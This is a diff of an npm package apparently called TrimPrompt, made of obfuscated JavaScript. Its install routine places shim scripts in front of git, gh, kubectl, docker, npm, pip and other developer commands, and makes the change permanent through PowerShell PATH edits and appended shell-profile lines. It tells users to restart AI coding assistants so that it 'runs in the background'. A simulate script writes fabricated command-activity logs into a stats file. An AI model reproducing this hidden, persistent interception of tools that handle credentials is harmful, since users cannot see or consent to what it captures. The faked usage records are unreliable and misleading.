_0x571fed=Object['getOwnPropertyDescriptor'](_0xa027e1,_0x2630ed);(!_0x571fed||(_0x1b3549(0x1e5)in _0x571fed?!_0xa027e1[_0x1b3549(0x1a8)]:_0x571fed[_0x1b3549(0x1d8)]||_0x571fed['configurable']))&&(_0x571fed={'enumerable':!![],'get':function(){return _0xa027e1[_0x2630ed];}}),Object['defineProperty'](_0x36eea1,_0x162ec8,_0x571fed);}:function(_0x5929be,_0x49da84,_0x28819c,_0x9f4928){if(_0x9f4928===undefined)_0x9f4928=_0x28819c;_0x5929be[_0x9f4928]=_0x49da84[_0x28819c];}),__setModuleDefault=this&&this[a0_0x36c5f1(0x1d6)]||(Object[a0_0x36c5f1(0x1d1)]?function(_0x5e8a49,_0x27b6cc){const _0x32cd5b=a0_0x36c5f1;Object['defineProperty'](_0x5e8a49,_0x32cd5b(0x1f0),{'enumerable':!![],'value':_0x27b6cc});}:function(_0x54f47c,_0x244814){_0x54f47c['default']=_0x244814;}),__importStar=this&&this['__importStar']||(function(){var _0x4abc97=function(_0x291565){const _0x4a0e12=a0_0x510b;return _0x4abc97=Object[_0x4a0e12(0x1de)]||function(_0x5c084c){const _0x49f694=_0x4a0e12;var _0x561acd=[];for(var _0x6e7d19 in _0x5c084c)if(Object[_0x49f694(0x1bb)][_0x49f694(0x1c5)]['call'](_0x5c084c,_0x6e7d19))_0x561acd[_0x561acd['length']]=_0x6e7d19;return _0x561acd;},_0x4abc97(_0x291565);};return function(_0x1dcfe1){const _0x3688d3=a0_0x510b;if(_0x1dcfe1&&_0x1dcfe1[_0x3688d3(0x1a8)])return _0x1dcfe1;var _0x379705={};if(_0x1dcfe1!=null){for(var _0x326691=_0x4abc97(_0x1dcfe1),_0x39d094=0x0;_0x39d094<_0x326691[_0x3688d3(0x1c0)];_0x39d094++)if(_0x326691[_0x39d094]!==_0x3688d3(0x1f0))__createBinding(_0x379705,_0x1dcfe1,_0x326691[_0x39d094]);}return __setModuleDefault(_0x379705,_0x1dcfe1),_0x379705;};}());Object[a0_0x36c5f1(0x1e9)](exports,a0_0x36c5f1(0x1a8),{'value':!![]}),exports[a0_0x36c5f1(0x1c7)]=installShims,exports[a0_0x36c5f1(0x1ba)]=uninstallShims;function a0_0x510b(_0x17d393,_0x1e763a){_0x17d393=_0x17d393-0x1a6;const _0x2e9bc1=a0_0x2e9b();let _0x510b95=_0x2e9bc1[_0x17d393];return _0x510b95;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x36c5f1(0x1ab))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x36c5f1(0x1c9),'gh',a0_0x36c5f1(0x1da),a0_0x36c5f1(0x1b6),'npm',a0_0x36c5f1(0x1cd),a0_0x36c5f1(0x1b4),a0_0x36c5f1(0x1c1),a0_0x36c5f1(0x1db),a0_0x36c5f1(0x1e2),a0_0x36c5f1(0x1e0),a0_0x36c5f1(0x1b1),a0_0x36c5f1(0x1bc),'go'];function installShims(){const _0xeb71d1=a0_0x36c5f1,_0x3f3756=path['join'](os[_0xeb71d1(0x1f1)](),_0xeb71d1(0x1a9),_0xeb71d1(0x1d9));try{!fs[_0xeb71d1(0x1a7)](_0x3f3756)&&fs[_0xeb71d1(0x1af)](_0x3f3756,{'recursive':!![]});const _0x548e90=os[_0xeb71d1(0x1a6)]()===_0xeb71d1(0x1ec);for(const _0x288f6d of SHIMMED_COMMANDS){if(_0x548e90){const _0xfd2e5=path['join'](_0x3f3756,_0x288f6d+_0xeb71d1(0x1eb)),_0x2d1dd5=_0xeb71d1(0x1aa)+_0x288f6d+_0xeb71d1(0x1cb);fs[_0xeb71d1(0x1d3)](_0xfd2e5,_0x2d1dd5,_0xeb71d1(0x1d5));const _0x38ba58=path[_0xeb71d1(0x1ae)](_0x3f3756,_0x288f6d+_0xeb71d1(0x1e8)),_0x2b17e8=_0xeb71d1(0x1ce)+_0x288f6d+_0xeb71d1(0x1d4);fs[_0xeb71d1(0x1d3)](_0x38ba58,_0x2b17e8,'utf8');}else{const _0x5af246=path[_0xeb71d1(0x1ae)](_0x3f3756,_0x288f6d),_0x5e6407=_0xeb71d1(0x1dd)+_0x288f6d+_0xeb71d1(0x1ed);fs[_0xeb71d1(0x1d3)](_0x5af246,_0x5e6407,'utf8'),fs['chmodSync'](_0x5af246,_0xeb71d1(0x1ad));}}let _0x22305d=![],_0x598bba='';if(_0x548e90)try{const {execSync:_0x576bfb}=require('child_process'),_0x41ae47=_0xeb71d1(0x1cf),_0x133d6d=_0x576bfb(_0xeb71d1(0x1b9)+_0x41ae47+'\x22')[_0xeb71d1(0x1c4)]()[_0xeb71d1(0x1e7)]();if(!_0x133d6d[_0xeb71d1(0x1d2)](_0x3f3756)){const _0x2312ce=_0x3f3756+';'+_0x133d6d,_0x567359=_0xeb71d1(0x1c2)+_0x2312ce+'\x27,\x20\x27User\x27)';_0x576bfb(_0xeb71d1(0x1b9)+_0x567359+'\x22'),_0x22305d=!![];}else _0x22305d=!![];}catch(_0x9a0f59){_0x598bba=_0xeb71d1(0x1e6)+_0x3f3756;}else try{const _0x18a342=_0xeb71d1(0x1df)+_0x3f3756+':$PATH\x22\x0a',_0x3a5682=os[_0xeb71d1(0x1f1)](),_0x251560=[_0xeb71d1(0x1cc),_0xeb71d1(0x1e1),_0xeb71d1(0x1ee),_0xeb71d1(0x1d7)];let _0x38ca4e=![];for(const _0x59a7f5 of _0x251560){const _0x1aaf3c=path['join'](_0x3a5682,_0x59a7f5);if(fs[_0xeb71d1(0x1a7)](_0x1aaf3c)){const _0x4f34cd=fs[_0xeb71d1(0x1b0)](_0x1aaf3c,_0xeb71d1(0x1d5));!_0x4f34cd[_0xeb71d1(0x1d2)](_0x3f3756)?(fs['appendFileSync'](_0x1aaf3c,_0xeb71d1(0x1b7)+_0x18a342),_0x38ca4e=!![]):_0x38ca4e=!![];}}if(!_0x38ca4e){const _0x24b241=path[_0xeb71d1(0x1ae)](_0x3a5682,'.bashrc');fs[_0xeb71d1(0x1c8)](_0x24b241,_0xeb71d1(0x1b7)+_0x18a342);}_0x22305d=!![];}catch(_0x340e27){_0x598bba=_0xeb71d1(0x1ca)+_0x3f3756+_0xeb71d1(0x1c3);}const _0x16106a='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0xeb71d1(0x1c0)]+'\x20commands.\x0a\x0a',_0x5a183a=_0x22305d?_0x16106a+_0xeb71d1(0x1ef):_0x16106a+_0xeb71d1(0x1b5)+_0x598bba;return{'success':!![],'pathDir':_0x3f3756,'message':_0x5a183a};}catch(_0x1ec121){return{'success':![],'pathDir':_0x3f3756,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x1ec121[_0xeb71d1(0x1e3)]};}}function a0_0x2e9b(){const _0x3e5b4b=['message','readdirSync','get','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','trim','.ps1','defineProperty','9702028KOtULk','.cmd','win32','\x20\x22$@\x22\x0a','.bash_profile','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','default','homedir','platform','existsSync','__esModule','.trimprompt','@echo\x20off\x0atrim\x20','path','1564100LtORXn','755','join','mkdirSync','readFileSync','pip','38572713lFLGCx','93660uFoFIA','npx','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','cargo','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','7495000MuRtbX','powershell\x20-Command\x20\x22','uninstallShims','prototype','pip3','6435156GkfLiZ','12dOFIra','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','length','yarn','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27',':$PATH\x22','toString','hasOwnProperty','8zrwoIP','installShims','appendFileSync','git','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20%*\x0a','.bashrc','pnpm','trim\x20','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','unlinkSync','create','includes','writeFileSync','\x20$args\x0a','utf8','__setModuleDefault','.profile','writable','shims','glab','kubectl','1049000XxHXmp','#!/bin/sh\x0aexec\x20trim\x20','getOwnPropertyNames','export\x20PATH=\x22','pytest','.zshrc','docker'];a0_0x2e9b=function(){return _0x3e5b4b;};return a0_0x2e9b();}function uninstallShims(){const _0x1cd170=a0_0x36c5f1,_0x513c02=path[_0x1cd170(0x1ae)](os[_0x1cd170(0x1f1)](),_0x1cd170(0x1a9),'shims');try{if(fs[_0x1cd170(0x1a7)](_0x513c02)){const _0x2b291e=fs[_0x1cd170(0x1e4)](_0x513c02);for(const _0x1d7203 of _0x2b291e){fs[_0x1cd170(0x1d0)](path[_0x1cd170(0x1ae)](_0x513c02,_0x1d7203));}fs['rmdirSync'](_0x513c02);}return{'success':!![],'message':_0x1cd170(0x1bf)};}catch(_0x373062){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x373062[_0x1cd170(0x1e3)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x40a171=a0_0x3794;(function(_0x2e5c31,_0x1c3491){const _0x11122b=a0_0x3794,_0x5d3ab7=_0x2e5c31();while(!![]){try{const _0x332dd2=parseInt(_0x11122b(0x177))/0x1*(parseInt(_0x11122b(0x173))/0x2)+-parseInt(_0x11122b(0x178))/0x3*(-parseInt(_0x11122b(0x13e))/0x4)+-parseInt(_0x11122b(0x14f))/0x5*(parseInt(_0x11122b(0x15f))/0x6)+parseInt(_0x11122b(0x141))/0x7*(parseInt(_0x11122b(0x162))/0x8)+parseInt(_0x11122b(0x17b))/0x9+-parseInt(_0x11122b(0x152))/0xa*(-parseInt(_0x11122b(0x13c))/0xb)+-parseInt(_0x11122b(0x14d))/0xc*(parseInt(_0x11122b(0x143))/0xd);if(_0x332dd2===_0x1c3491)break;else _0x5d3ab7['push'](_0x5d3ab7['shift']());}catch(_0x5a7229){_0x5d3ab7['push'](_0x5d3ab7['shift']());}}}(a0_0x426d,0x9c47e));function a0_0x3794(_0x4523b6,_0x39cad2){_0x4523b6=_0x4523b6-0x137;const _0x426de6=a0_0x426d();let _0x3794dc=_0x426de6[_0x4523b6];return _0x3794dc;}Object['defineProperty'](exports,a0_0x40a171(0x145),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x40a171(0x17e)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');function a0_0x426d(){const _0x256401=['git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','4PoFMba','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','path','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','345011AIGYim','1089SnAYkR','git\x20diff\x20main','npm\x20run\x20lint:\x20✖\x202\x20warnings','3531096zYMnWB','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','getLogs','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','logExecution','gpt-4o-mini','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','154253twOdqE','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','10512sMHlLd','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','7uxhFLm','length','221ZwpAzC','homedir','__esModule','cargo\x20test','stats.json','Completed\x203\x20of\x203\x20assets\x20successfully.','kubectl\x20get\x20pods\x20-n\x20production','timestamp','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','1515996eVTlaJ','claude-3-5-sonnet','22245sCBhmD','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','repeat','290PBZJmC','writeFileSync','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','join','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','found\x200\x20vulnerabilities\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','random','npm\x20run\x20lint','gpt-4o','198qWEipg','gemini-1-5-flash','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','3932856DCgGNz','comp','stringify','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','exitCode','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','tracker','.trimprompt','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','gemini-1-5-pro','npm\x20install\x20lodash\x20express\x20uuid\x20react','claude-3-opus','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.'];a0_0x426d=function(){return _0x256401;};return a0_0x426d();}const models=[a0_0x40a171(0x14e),a0_0x40a171(0x15e),a0_0x40a171(0x139),a0_0x40a171(0x16b),a0_0x40a171(0x160),a0_0x40a171(0x16d)],commands=[{'cmd':a0_0x40a171(0x179),'raw':a0_0x40a171(0x165)['repeat'](0x32),'comp':a0_0x40a171(0x174),'exitCode':0x0},{'cmd':a0_0x40a171(0x146),'raw':a0_0x40a171(0x157)+'test\x20tests::test_case_'[a0_0x40a171(0x151)](0x28)+a0_0x40a171(0x158),'comp':a0_0x40a171(0x15a),'exitCode':0x0},{'cmd':a0_0x40a171(0x16c),'raw':a0_0x40a171(0x13b)+a0_0x40a171(0x13f)+a0_0x40a171(0x159),'comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':a0_0x40a171(0x167),'raw':a0_0x40a171(0x17c)+a0_0x40a171(0x176)+a0_0x40a171(0x14c)+a0_0x40a171(0x148),'comp':a0_0x40a171(0x16f),'exitCode':0x0},{'cmd':a0_0x40a171(0x149),'raw':a0_0x40a171(0x17f)+a0_0x40a171(0x180)+a0_0x40a171(0x140)+a0_0x40a171(0x13d)+a0_0x40a171(0x16a),'comp':a0_0x40a171(0x161),'exitCode':0x0},{'cmd':a0_0x40a171(0x155),'raw':a0_0x40a171(0x137)+a0_0x40a171(0x154)+a0_0x40a171(0x15b),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x40a171(0x16e),'raw':a0_0x40a171(0x14b)+a0_0x40a171(0x13a),'comp':a0_0x40a171(0x171),'exitCode':0x0},{'cmd':a0_0x40a171(0x15d),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x40a171(0x172)+a0_0x40a171(0x150),'comp':a0_0x40a171(0x17a),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math[a0_0x40a171(0x15c)]()*commands[a0_0x40a171(0x142)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1[a0_0x40a171(0x168)][a0_0x40a171(0x138)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x40a171(0x163)],commandItem[a0_0x40a171(0x166)]),logs=tracker_1[a0_0x40a171(0x168)][a0_0x40a171(0x17d)]();logs['length']>0x0&&(logs[logs[a0_0x40a171(0x142)]-0x1][a0_0x40a171(0x14a)]=timestamp,require('fs')[a0_0x40a171(0x153)](require(a0_0x40a171(0x175))[a0_0x40a171(0x156)](require('os')[a0_0x40a171(0x144)](),a0_0x40a171(0x169),a0_0x40a171(0x147)),JSON[a0_0x40a171(0x164)](logs,null,0x2),'utf8'));}console[a0_0x40a171(0x17e)](a0_0x40a171(0x170));
1
+ 'use strict';const a0_0x12bc6a=a0_0xae31;(function(_0xea4e7b,_0x235a06){const _0x46ca8d=a0_0xae31,_0x388a6b=_0xea4e7b();while(!![]){try{const _0x17a577=parseInt(_0x46ca8d(0x178))/0x1*(parseInt(_0x46ca8d(0x170))/0x2)+-parseInt(_0x46ca8d(0x174))/0x3*(parseInt(_0x46ca8d(0x1a6))/0x4)+-parseInt(_0x46ca8d(0x1a4))/0x5*(-parseInt(_0x46ca8d(0x18a))/0x6)+parseInt(_0x46ca8d(0x19c))/0x7+-parseInt(_0x46ca8d(0x19f))/0x8*(parseInt(_0x46ca8d(0x191))/0x9)+parseInt(_0x46ca8d(0x185))/0xa+parseInt(_0x46ca8d(0x196))/0xb;if(_0x17a577===_0x235a06)break;else _0x388a6b['push'](_0x388a6b['shift']());}catch(_0x31bad6){_0x388a6b['push'](_0x388a6b['shift']());}}}(a0_0x990b,0x936e7));function a0_0x990b(){const _0x47e20d=['defineProperty','writeFileSync','gemini-1-5-flash','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','5274eITqpi','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','toISOString','npm\x20install\x20lodash\x20express\x20uuid\x20react','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','kubectl\x20get\x20pods\x20-n\x20production','10561977bnGAIg','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','timestamp','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','7784018YLnRMw','claude-3-opus','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','gpt-4o-mini','git\x20log\x20-n\x205','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','6627138ovORIR','floor','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','8nqmdQQ','git\x20diff\x20main','random','getLogs','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','1230vhtyQL','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','537028YIgFug','npm\x20run\x20lint:\x20✖\x202\x20warnings','logExecution','npm\x20run\x20lint','comp','path','log','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','4ddjyTU','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','24XjhKtS','length','gemini-1-5-pro','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','123132qegBeZ','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','gpt-4o','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','tracker','stats.json','stringify','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','.trimprompt','cargo\x20test','test\x20tests::test_case_','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','7346180YwFErB'];a0_0x990b=function(){return _0x47e20d;};return a0_0x990b();}function a0_0xae31(_0x233789,_0x151536){_0x233789=_0x233789-0x16a;const _0x990be9=a0_0x990b();let _0xae31b0=_0x990be9[_0x233789];return _0xae31b0;}Object[a0_0x12bc6a(0x186)](exports,'__esModule',{'value':!![]});const tracker_1=require('./tracker');console['log'](a0_0x12bc6a(0x172));const models=['claude-3-5-sonnet',a0_0x12bc6a(0x17a),a0_0x12bc6a(0x199),a0_0x12bc6a(0x176),a0_0x12bc6a(0x188),a0_0x12bc6a(0x197)],commands=[{'cmd':a0_0x12bc6a(0x1a0),'raw':a0_0x12bc6a(0x19e)['repeat'](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x12bc6a(0x182),'raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x12bc6a(0x183)['repeat'](0x28)+a0_0x12bc6a(0x18f),'comp':a0_0x12bc6a(0x171),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x18e),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x12bc6a(0x16e)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x12bc6a(0x17b),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x12bc6a(0x198)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x12bc6a(0x195),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x190),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x12bc6a(0x179)+a0_0x12bc6a(0x16f)+a0_0x12bc6a(0x177)+a0_0x12bc6a(0x173),'comp':a0_0x12bc6a(0x18b),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x193),'raw':a0_0x12bc6a(0x184)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x12bc6a(0x18c),'comp':a0_0x12bc6a(0x1a3),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x19a),'raw':a0_0x12bc6a(0x192)+a0_0x12bc6a(0x189),'comp':a0_0x12bc6a(0x180),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x16a),'raw':a0_0x12bc6a(0x1a5)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x12bc6a(0x19b),'comp':a0_0x12bc6a(0x1a7),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x12bc6a(0x175)]],commandItem=commands[Math[a0_0x12bc6a(0x19d)](Math[a0_0x12bc6a(0x1a1)]()*commands[a0_0x12bc6a(0x175)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x12bc6a(0x18d)](),log=tracker_1[a0_0x12bc6a(0x17d)][a0_0x12bc6a(0x1a8)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x12bc6a(0x16b)],commandItem['exitCode']),logs=tracker_1[a0_0x12bc6a(0x17d)][a0_0x12bc6a(0x1a2)]();logs[a0_0x12bc6a(0x175)]>0x0&&(logs[logs[a0_0x12bc6a(0x175)]-0x1][a0_0x12bc6a(0x194)]=timestamp,require('fs')[a0_0x12bc6a(0x187)](require(a0_0x12bc6a(0x16c))['join'](require('os')['homedir'](),a0_0x12bc6a(0x181),a0_0x12bc6a(0x17e)),JSON[a0_0x12bc6a(0x17f)](logs,null,0x2),'utf8'));}console[a0_0x12bc6a(0x16d)](a0_0x12bc6a(0x17c));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x46cd27=a0_0x1e27;(function(_0xfc0c62,_0x91ae7e){const _0x5f508c=a0_0x1e27,_0x3d1249=_0xfc0c62();while(!![]){try{const _0x3c494d=parseInt(_0x5f508c(0xe2))/0x1*(-parseInt(_0x5f508c(0xfe))/0x2)+parseInt(_0x5f508c(0xf7))/0x3+-parseInt(_0x5f508c(0xbe))/0x4*(parseInt(_0x5f508c(0x104))/0x5)+-parseInt(_0x5f508c(0xba))/0x6*(-parseInt(_0x5f508c(0xdb))/0x7)+-parseInt(_0x5f508c(0xbb))/0x8+parseInt(_0x5f508c(0xc9))/0x9+-parseInt(_0x5f508c(0xd5))/0xa*(-parseInt(_0x5f508c(0x100))/0xb);if(_0x3c494d===_0x91ae7e)break;else _0x3d1249['push'](_0x3d1249['shift']());}catch(_0x5c38ae){_0x3d1249['push'](_0x3d1249['shift']());}}}(a0_0x1d52,0xe6a9f));function a0_0x1e27(_0x43ecbd,_0x13b52e){_0x43ecbd=_0x43ecbd-0xb7;const _0x1d52f0=a0_0x1d52();let _0x1e2721=_0x1d52f0[_0x43ecbd];return _0x1e2721;}var __createBinding=this&&this[a0_0x46cd27(0xcc)]||(Object[a0_0x46cd27(0xf2)]?function(_0x591817,_0x2976c7,_0x1b0ef3,_0x58a864){const _0x4b51f4=a0_0x46cd27;if(_0x58a864===undefined)_0x58a864=_0x1b0ef3;var 